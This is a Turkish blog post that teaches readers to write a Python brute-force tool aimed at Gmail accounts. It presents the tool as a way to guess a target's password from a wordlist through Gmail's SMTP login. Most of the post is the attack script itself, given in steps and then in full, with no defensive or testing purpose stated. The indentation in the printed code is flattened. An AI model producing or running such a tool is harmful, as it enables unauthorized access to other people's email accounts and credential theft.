11 Haziran 2020 Perşembe

PYTHON GMAİL BRUTE FORCE ARACI YAZALIM!

            
                
 

       Evet arkadaşlar bugün smtp serverini kullanarak bir Gmail BF aracı yazıcaz siz dilerseniz başka smtp server adresi yazarak çeşitli sunuculara göre bunu ayarlayabilirsin. Bu işlemleri Python'da smtplib kütüphanesini kullanıcaz. İsterseniz işe smtplib kütüphanemizi dahil ederek başlıyalım. 

        CODE:

                import smtplib as sp


            Şimdi biz smtplib kütüphanemize kısaca sp demiş olduk isterseniz SMTP sunucusuna bağlanalım.

       CODE: 

                smtpserver = sp.SMTP("smtp.gmail.com", 587)
                smtpserver.ehlo()
                smtpserver.starttls()

            Artık smtp sunucumuza bağlandık. SMTP sunucusu olarak gmailin sunucusunu yazdım port olan kısma da 587 yazdım bazı smtp servislerinde bu 25, 2525 olarak değişkenlik gösterebilir. İsterseniz artık hedef maili alalım ve wordlisti alıp okuma işlemi gerçekleştirelim.


      CODE:

                target = str(input("Lutfen hedef emaili giriniz: "))

                passwfile = str(input("Lutfen wordlist dizini yaziniz: "))

                passwfile = open(passwfile, "r")

            Son olarak for döngümüzle brute force attack yapıcağız. bunun için SMTP sunucumuza login olmamız lazım ama hataları da ayrıt etmemiz lazım bunun için pythondaki try-except kalıbımızı kullanalım.

     CODE:

              for password in passwfile:
try:
smtpserver.login(target, password)

print("[+] Sifre Bulundu: %s" % password)
break;
except sp.SMTPAuthenticationError:
print("[-] Sifre Yanlis: %s" % password)

              
            For dögüsüyle oluşturduğumuz password değişkenini passwfile isimini verdiğimiz wordlistte arattık eğer sisteme giriş yaparsa bize "[+] Sifre Bulundu" yazacak ve karşısına da şifreyi verecek. Bulamazsa yani bir authentication hatası alırsa o zaman "[-] Sifre Yanlis:" yazacak ve karşısana da eşleşmeyen şifreyi girecektir. Basit bir şekilde brute force aracı yazdık aşağıdan tüm kodlara ulaşabilirsiniz.

TÜM KODLAR: 

import smtplib as sp

smtpserver = sp.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

target = str(input("Lutfen hedef emaili giriniz: "))

passwfile = str(input("Lutfen wordlist dizini yaziniz: "))

passwfile = open(passwfile, "r")

for password in passwfile:
try:
smtpserver.login(target, password)

print("[+] Sifre Bulundu: %s" % password)
break;
except sp.SMTPAuthenticationError:
print("[-] Sifre Yanlis: %s" % password)



                
Önceki Yazı
Sonraki Yazı

Admin :

0 yorum: